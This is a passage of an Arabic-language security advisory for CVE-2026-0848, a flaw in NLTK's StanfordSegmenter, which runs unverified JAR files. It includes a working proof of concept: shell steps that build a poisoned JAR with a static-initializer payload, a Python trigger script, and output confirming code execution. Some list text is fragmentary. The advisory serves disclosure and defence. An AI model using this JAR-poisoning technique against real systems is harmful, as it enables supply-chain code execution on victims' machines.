
nltk.tokenize.StanfordSegmenter يحمّل ملفات Java .jar الخارجية ديناميكيًا دون تحقق أو عزل (sandboxing). إذا تمكن مهاجم من توفير ملف JAR أو استبداله (على سبيل المثال، عبر تنزيل نموذج مسموم، أو استبدال حزمة عبر هجوم MITM، أو تسميم التبعيات)، فسيتم تنفيذ Java bytecode عشوائي في وقت الاستيراد.
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-0848 |
| الحزمة | nltk (مجموعة أدوات اللغة الطبيعية) |
| السجل | PyPI |
| الإصدارات المتأثرة | <= 3.9.2 |
| نوع الثغرة | CWE-20: التحقق غير السليم من المدخلات |
| درجة CVSS | 10.0 (حرجة) |
| متجه الهجوم | شبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق | متغيّر |
| تأثير السرية | عالي |
| تأثير التكامل | عالي |
| تأثير التوافر | عالي |
| تاريخ الإبلاغ | 6 ديسمبر 2025 |
| نشر CVE | مارس 2026 |
| بدعم من | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter يحمّل ملفات Java .jar الخارجية ديناميكيًا عبر subprocess دون إجراء أي تحقق من التكامل أو فحص توقيعات أو عزل (sandboxing). تقبل الفئة معاملات يتحكم بها المهاجم بالكامل بما في ذلك path_to_jar وpath_to_model وpath_to_dict وjava_class، وتمررها مباشرة إلى استدعاء java -cp.
إذا تمكن المهاجم من توفير ملف JAR أو استبداله — عبر تنزيل نموذج مسموم، أو استبدال حزمة عبر هجوم الوسيط، أو تسميم التبعيات، أو مرآة إصدارات مخترقة — فسيتم تنفيذ bytecode Java تعسفي وقت تحميل الفئة عبر آلية المُهيّئ الثابت (static initializer) في JVM. يشكّل هذا ثغرة تنفيذ كود عن بُعد عبر سلسلة التوريد (Supply-Chain RCE) وتهربًا كاملًا من بيئة تشغيل Python.
| الملف | الأسطر | الوصف |
|---|---|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | يقبل path_to_jar وpath_to_model وpath_to_dict وjava_class التي يتحكم بها المهاجم دون أي تحقق |
nltk/internals.py | L220–L300 | يشغّل Java مباشرةً بمسار JAR وclasspath يتحكم بهما المستخدم، دون عزل أو تحقق من المجاميع الاختبارية (checksums) |
nltk/internals.py | L109–L152 | ينفّذ subprocess.Popen() كود Java بإدخال classpath غير مُتحقق منه، مما يسمح لـ JVM بتحميل bytecode تعسفي وتشغيل المُهيّئات الثابتة |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| المقياس | القيمة |
|---|---|
| متجه الهجوم | شبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق | متغيّر |
| السرية | عالي |
| التكامل | عالي |
| التوافر | عالي |
الاستغلال الناجح يمنح المهاجم تحكمًا كاملًا في النظام الذي يشغّل عملية تقسيم النصوص في NLTK:
Runtime.getRuntime().exec() أو ProcessBuilder لتشغيل أوامر شل عشوائية| السيناريو | التأثير |
|---|---|
| باحث في تعلّم الآلة يحمّل مقسّمًا مدربًا مسبقًا من الإنترنت | مهاجم عن بُعد يحصل على تنفيذ كود |
| مؤسسة تنزّل حزمة ZIP لنموذج تقسيم صيني مفسودة | برمجية خبيثة تعمل داخل خط أنابيب NLP الإنتاجي |
خادم CI/CD يثبّت النموذج عبر wget/unzip من مرآة غير HTTPS | اختراق البيئة بالكامل |
| الاستيلاء على تبعية أو مرآة إصدارات مسمومة | RCE كامل عبر سلسلة التوريد |
تؤثر هذه الثغرة على أي سير عمل NLP يستخدم StanfordSegmenter، بما في ذلك روبوتات المحادثة وخطوط أنابيب المعالجة المسبقة لنماذج اللغات الكبيرة (LLM) وتقسيم مجموعات البيانات وتصنيف المستندات وخدمات الاستدلال الإنتاجية.
تُقدَّم هذه المعلومات لأغراض تعليمية ودفاعية فقط. لا تختبر أي أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
المخرجات:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
تأكيد RCE:
ls /tmp | grep pwned_hijack
# pwned_hijack
توجد الثغرة في ملفين:
stanford_segmenter.py — مُنشئ فئة StanfordSegmenter يقبل path_to_jar وpath_to_model وpath_to_dict وjava_class كوسائط نصية عادية ويُمررها مباشرة إلى طبقة تنفيذ Java دون تنفيذ أي مما يلي:
java_class مقابل مجموعة آمنة معروفة من أسماء الفئاتinternals.py — الدالة المساعدة java() تُنشئ وتُطلق استدعاء subprocess.Popen() بالـ classpath الذي يوفره المستخدم. يقوم JVM فورًا بتحميل جميع الفئات في ملف JAR المقدم، منفذًا أي كتل مُهيّئات ثابتة قبل تشغيل منطق التطبيق. لا يوجد عزل ولا بوابة تكامل ولا أي آلية لمنع تنفيذ bytecode المحقون.
تم حل الثغرة بالكامل في مستودع NLTK الرسمي (upstream).
| المورد | الرابط |
|---|---|
| الإصلاح الأمني المركزي (جميع ثغرات CVE) | https://github.com/nltk/nltk/pull/3522 |
| طلب السحب (PR) الأولي للإصلاح من الباحث | https://github.com/nltk/nltk/pull/3477 (مدمج) |
قم بالترقية إلى إصدار مُصحح من NLTK بمجرد توفره على PyPI.